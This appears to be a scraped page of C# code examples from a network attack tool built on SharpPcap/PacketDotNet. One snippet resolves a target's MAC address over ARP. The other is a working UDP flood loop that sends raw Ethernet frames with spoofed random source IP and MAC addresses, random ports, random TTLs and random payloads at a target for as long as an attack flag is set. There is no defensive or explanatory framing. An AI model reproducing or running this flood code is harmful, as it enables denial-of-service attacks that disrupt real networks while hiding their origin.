示例#1
0
        public static PhysicalAddress ResolveMac(NetworkInterface device, IPAddress Instance)
        {
            ARP Resolver = new ARP((LibPcapLiveDevice)NetworkInstruments.getActiveDevice(device.GetPhysicalAddress()));

            Resolver.Timeout = new TimeSpan(0, 0, 4);
            return(Resolver.Resolve(Instance, getAdapterIPAddress(device), device.GetPhysicalAddress()));
        }
示例#2
0
        private void processUdpFlood(Object Params)
        {
            AttackParams _params = Params as AttackParams;

            if (_params.UdpFloodEnabled)
            {
                NetworkInstruments.IpRandomizer IpSpoofer = new NetworkInstruments.IpRandomizer();
                PhysicalAddress TargetMac    = NetworkInstruments.ResolveMac(Adapter, _params.Target.Address);
                ICaptureDevice  ActiveDevice = NetworkInstruments.getActiveDevice(Adapter.GetPhysicalAddress());
                ActiveDevice.Open();
                UdpPacket  udpPacket = new UdpPacket(0, 80);
                IPv4Packet ipPacket  = new IPv4Packet(IPAddress.Any, _params.Target.Address);
                ipPacket.Protocol      = IPProtocolType.UDP;
                ipPacket.PayloadPacket = udpPacket;
                if (TargetMac == null)
                {
                    ErrorHandler(1, "Can not get MAC target address");
                    return;
                }
                ;  //unable to resolve mac
                EthernetPacket ethernetPacket = new EthernetPacket(Adapter.GetPhysicalAddress(), TargetMac, EthernetPacketType.None);
                ethernetPacket.PayloadPacket = ipPacket;
                while (Attacking)
                {
                    udpPacket.SourcePort      = (ushort)Randomizer.Next(1, 49160);
                    udpPacket.DestinationPort = (ushort)Randomizer.Next(1, 49160);
                    udpPacket.PayloadData     = new byte[Randomizer.Next(500)];
                    Randomizer.NextBytes(udpPacket.PayloadData);
                    udpPacket.UpdateCalculatedValues();
                    ipPacket.SourceAddress = IpSpoofer.GetNext(ref Randomizer, _params.RestrictedPool);
                    ipPacket.TimeToLive    = Randomizer.Next(20, 128);
                    ipPacket.UpdateCalculatedValues();
                    ipPacket.UpdateIPChecksum();
                    ethernetPacket.SourceHwAddress = NetworkInstruments.GetRandomMac(ref Randomizer);
                    ethernetPacket.UpdateCalculatedValues();
                    udpPacket.UpdateUDPChecksum();
                    ActiveDevice.SendPacket(ethernetPacket);
                    udpCounter++;
                }
            }
        }